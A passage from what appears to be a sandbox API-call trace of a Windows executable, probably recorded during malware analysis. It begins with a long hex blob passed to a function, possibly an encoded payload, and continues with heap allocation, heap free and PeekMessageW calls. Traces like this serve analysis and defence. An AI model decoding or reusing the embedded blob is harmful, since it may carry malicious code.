6A2169E2E6760BB7441BE465535BF5AD9DBBCA3E7FFB42520D276277B652928CB129EBE603D0809C9D9087F5611CF4C7469BA2010CAE6E797609631A8B517D635C0659282B377C48A35A92E47F6E06C027374BD13AB8D2E789AFBD0150DEC68FDA74C3C7BE412F9F407B5BDE77816238300EBD1E6AC6910277394A69E2CA7F09F6787C28422CEA8E9D5F567D1D43BA2434DA4679D650F64BB20FEEA14A176D8570F9E0972D497BEC81D9F98CE14C2DA0936549E766F829A194C4714FD5205D213A324C8A374C23CC61A9D90D15E9FFA6E2E7FE1EC60B86E388843F89FA5A729B4336251A4A233463744BC9551BE906E0AFF08AA4551B797985F80A6F349BC4581B38837A957F004D21ADD2221C16605F433CB0F552E03A643A448B415CDE0477FF0C1CBD29006B86DB44BA381983E0D4D1F776CB8785B07E498F1541B69ACF12186C02BE6F34C4C91AC096DF3ED90D6A021991507B43041084D8779C8EAA574D474746EAC2B6DCA2FB5B1600ED22176C14F11807F1A83F32A72190B8F13090A5375CD1C6B15D942B1AA65734D0D16F63429DDCBB4D2F422CDCB7ECACF54E7DAA14ABA8CA8A8710ED5C54A3B9A4C30066E864E37837FA001E4D9A6846FD18E8A51A34AF5F3BF500FC17AE13C0597DE5839B23A7950DF606551629C1CA8461975FEDADD528E956E28A18C08C6ABF738F6E5D3E43C2518A1438C15B5AF32FD3FD670D9CAC8E1FB084D3D93A5297A007922B26B45D1C9EEFE88B7110AD1AA7F87998052874FBA97BCEB98748251F89C52181F3F3F63364BDA138A5361B0F191D0D35F68CF3FEC8FF4979DABE42291CD1C147CD875CC78C9C4BC45D791CE18C41FC5B5F87E3315FCD52E071963082F8DBE20B46A8EFE88D115D59F8ED0CBE1AD6F2144188525D8B32DD26238B9571F1134730B10AAE9546C707962C87BEC770CCB58D6DAAD2104B6F9650010A762BF8A5C71B3CF56957228121FCD2621B2F7CC1FF838ACDBA85B8CB3EFEA06FEE07DE544A0AB361302631196051A45C44CA9B1123700F1DBD43D4D1B39B24C5C24B85114A0C4E40A59D4CE5218789F0A241F1907F914756A3C750E75DAC0C3FBB56FC3E1DCB67B9CC269ACFDB7424403F4B355E7FD24BEF824CD58F483FF6E69FA05D20D3E8C8EE3427F33C68FF6B8505B065A1865F221A574CE1994C4BAE66B3A2DB12DC1135F345452402C643B20B797563CEE8AC0C54990F60BD70C4E0BC09AF75499C2696D438909C00A17AE882416E2852400AE66E4F4A631DE4F58711BB2C8C2BEE8209691A80DD9844BB5A688537A91337D3757B14EECB6C04C69DE7E0CFC7012FC3C50ACE0C08C8617F769F908759D4554A9DFE6CEF2CAA9C4C0A4AE6A704B46DF420726919927AA808B3B1C009FD1C580265F4F62359069B3818E97C46986E5AC16BDDB030C1FE5489FB6030F55923A312337802CBD653F37F76D240DB9749EC7B6001080086C34D1355D19B53D5A86125411DEDA1F1FB92E48A6B52BF718D3CDBFADA22E26C9FF44079FE952C73D83F265D4637ADD4144DC6B6F1655E9E2CF4A1DA35F95402755060E8A6560EF4D3AF0CC5DF883FFCC1234FA01279C411F328D1EBFBB24EAB9334BF7F5CA78456C0005DBAAB1F11914E67535E30060B12091DCECA742225B3071E9E1159DFC16C8CF4C76A72A50C1E0F427CBE52CC2E9017BABAB4DE0751D62BA5A151D5511B430A713D73F23E1F4CCF43F391DED9F66AF65A84FB6828DFB25C1CB26FA450364D86CA48CB374D13881F2BCD0B34F2AA68099DD638AF3B8FBC23FEF8D621AB6F1782C42CDFB2A9F7E77616335F65F71E58677CA525BF990A297882EE5DF561F2BC926988E109BF7FD0C76A40F945FBC5CAF34280DBF56EB9C87BD2D4B9235B4578BE1C869D0D75C874D2FF3F230A1B6254DE9B301442592AC1931C552C01DDB73C4E28C021E5047521BDD322ED23BCF0B3E6FF6712D063260B894DD5AC0BC739128C3DFFC12AE0818C50940D073617151DAA64E8682618D2FC8F48189B64F19F00CFBF12F69BE79E449B47447565D5E900823B6BB91BE419012F00E68C64F7B7D07A85CC9D7FB88D79FBB04E8ACBA6497B08F97F0BB721774D3905D14ADE474F7FF619A9F7E6700BBA82BA8DEAA8275D25222AFDFE67E350DDF46BDEDEC18F6E2B3D5091F1A2FD1F393A1DE7AC4B2359A59A23B98A0593CEC267E8061A81171C8C709046968151BF79CEBB34051E055202CB68A200CA1878D8EAFD83A55A1E60323EE5925F8265DB2BFBFA81149D8AA9079E452FA3966217EF0FCF3CDBD5988568A248522A91D209861145CF6A4BEBC56CD0AF195E989DCB758835831109FE9E09D75CD42225049EC6D6F7760579C7B684BF8EC31F9B3EECF65941B8BF65D507FD8E0D53C95855F48A12DB097365DFC9C98C5AF7C231D0B38EA7990DEBF8B891AA9F5B2D7D4B980625EB80608A60E29470A2FC40584C3BC2075574992A7F83FFB3E48E741D73C644607D122E5DFF8F5BB79C43C6368AA5732F6E6C813A7521F603557237283FF9D80B810E8AB02E4C05F2E7BF773538D9EFBCB7534DC5BFA352E7DA5513C50BF8CE26EA4F187B07D701A7769AE465F5FDB7F8942C2BA3DD4CFA222E9A8D1E77DA4BBDCAFCE3CB721A12056CFE3398241870EE8C45557CCADBDC638EABB4D7501E279666ADF390B462472657E66CB8BD250A9D7B71FA0259FE15B2B30C5AA4C9BC1F20FD9F8E3767694D3D4265568058D43A9317FAF3A87A2065714EA472D5B14F0907699C0099AE4E0F560D50625F266BD95FBC413F5F5150276E6FF255FC57363488ECC92714DAF5098AFA9D8F7BEA426109473249CB348B0A6AFE3D94E8E370BE4FAF58CCA18BF9D3C7FF327EC6A60ABCE4DCF805EEF55CF53ED016E244C4EB39F96871CC462E5E2FBF2CD3DDF94C8E5431B78EB36DDA1078A71BE53C66CDB09F9773A9B479A7C65CAF784E0EEC6256B6A20C7F64B32A638A525B1E0454EB3DEFBE4E3FEB95D1625FDA516F7ED6FCBA23F8342BED647924B74588E579615FF49CDC6C792B5AD9BD0D8ACC21F141E0E24714E8DDB454BFC0790B9D89214A2A08CEFBAFB0DD73A9C4BF328FEB8C21E7782617A997B072C1973C7A3F75794A5CE0EE92585BC86EADF4D55B620492A06CFC2977AFEFF228EE4C6D3768F2E3281BAC44B50E865B507F148C79107CBD497B0324AFF6EE52035B2CB04A89A133E8232D51173F3AD10F0091505108771701930B0AF517031134BF9B5D7A25892F1EF200D763416874384C3B01B11FDF8B1B1605C38E5C34684BB867A447EAB7FEFF75F062926021383418A6510352694E964993BE495705B00B496922722F33A2ECA7B1371BD9B5A228BEBA3813449A625C847C40EB7A3595902790F1E6EECC9A72EB08785C3369E3F943CEBA0837AB520E0FB6E03F2DD2F1208E15FD678EF9236EDABC4CFE4FE20F5AEA39958AEB3E8E761B97018DAEE787496533FD52E6C6D09A299E571F5F1DFB8CE646855A4AC455E961618B5CAAC1204075F117D3E7A2C4CE9E0C225CBA1859C05B08BCDED2ACA667831C534FC0BFAE09D1AA0481EEB4282F9B6BB87EBAEE80F1DDFBCD6AB5D8D58ADB990B8F192D1D6D8916C02DC44E0A3760BCFEDAF30842F1F3E73A6C5312274023A9B371C47553CC0B818F7092E49CADBD616272BB4C404B513CD892C6F44EE5480A1A931817460F2082C99820974EBFC825A0A44EEBE36AC16A4012D7FFF37355EC101050DFF81B577B596C9F535C4A267DA442097F03FF03B1A2876E1CB8E6D82D7966600C5338737B6C0C106A90AA8D0162502CCE5A0420071FD3CF7B90BD5F520EEEB06C1CB0085EF7674026BB309012F3BB0733FD58C2517CD045DBC152F72703F0A5E8CA138E2925A3ABA52B48B5D2EA30675D4EB17C524714D880BE31EC8CEF294545B2CFA1459404E7465C603FBD28D54313406BE0B4046604455B6F35CD37C5F8191CADDBCA9E5BB0674ECF9DEB0A0DCBB8A036EFE7CB9C6567D2053FCF452D9A82F0BC315F58116B5682E146F846959D8124AC1F042C6066D92AC4119F6E67628DCE7319F2ABE06AEF7CDDEC6E6C777E07960FFB00D2D45D3217E64CB43C7742DFEF7E4FE5E8CB8EFB39D04B1A3DAB86D966565") returned 230435 [0132.500] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x11d12a8 | out: hHeap=0xe80000) returned 1 [0132.504] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d60 [0132.506] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1128628 | out: hHeap=0xe80000) returned 1 [0132.520] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.522] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10f01f8 | out: hHeap=0xe80000) returned 1 [0132.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.525] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0132.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1910 | out: hHeap=0xe80000) returned 1 [0132.526] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.529] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10b7828 | out: hHeap=0xe80000) returned 1 [0132.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bf8 [0132.530] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d60 | out: hHeap=0xe80000) returned 1 [0132.530] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1758 [0132.530] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0132.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0132.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b50 [0132.531] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf078 [0132.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0132.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1758 | out: hHeap=0xe80000) returned 1 [0132.531] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b50 | out: hHeap=0xe80000) returned 1 [0132.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0132.532] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.532] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.532] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.532] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016040 | out: hHeap=0xe80000) returned 1 [0132.532] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0132.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0132.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.533] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.533] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016000 [0132.533] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016000 | out: hHeap=0xe80000) returned 1 [0132.534] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10555f0 [0132.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10555f0 | out: hHeap=0xe80000) returned 1 [0132.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.534] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016200 [0132.534] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.534] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016200 | out: hHeap=0xe80000) returned 1 [0132.534] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.535] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0132.535] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.535] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b80 | out: hHeap=0xe80000) returned 1 [0132.535] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.536] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.536] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.536] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0132.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0132.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.536] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b80 [0132.536] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.536] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b80 | out: hHeap=0xe80000) returned 1 [0132.536] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0132.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0132.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.537] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.537] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0132.537] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.537] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055570 [0132.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055570 | out: hHeap=0xe80000) returned 1 [0132.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.538] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.538] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0132.538] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf078 [0132.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.538] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055510 [0132.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055510 | out: hHeap=0xe80000) returned 1 [0132.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf078 | out: hHeap=0xe80000) returned 1 [0132.539] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015d40 [0132.539] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015d40 | out: hHeap=0xe80000) returned 1 [0132.539] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.539] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0132.539] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.539] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.539] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0132.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0132.540] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0132.540] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0132.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0132.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10557d0 [0132.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10557d0 | out: hHeap=0xe80000) returned 1 [0132.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0132.540] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0132.540] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0132.540] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0132.541] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.541] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.541] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015dc0 [0132.541] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015dc0 | out: hHeap=0xe80000) returned 1 [0132.542] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.542] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0132.542] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf058 [0132.542] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055710 [0132.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055710 | out: hHeap=0xe80000) returned 1 [0132.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf058 | out: hHeap=0xe80000) returned 1 [0132.542] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0132.542] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015f40 [0132.542] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015f40 | out: hHeap=0xe80000) returned 1 [0132.543] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf208 [0132.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf138 [0132.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0132.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0132.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf138 | out: hHeap=0xe80000) returned 1 [0132.543] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf208 | out: hHeap=0xe80000) returned 1 [0132.543] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015b40 [0132.543] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015b40 | out: hHeap=0xe80000) returned 1 [0132.544] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 [0132.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf128 [0132.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf178 [0132.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055750 [0132.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055750 | out: hHeap=0xe80000) returned 1 [0132.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf178 | out: hHeap=0xe80000) returned 1 [0132.544] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0132.544] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015fc0 [0132.544] PeekMessageW (in: lpMsg=0xbdf4bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf4bc) returned 0 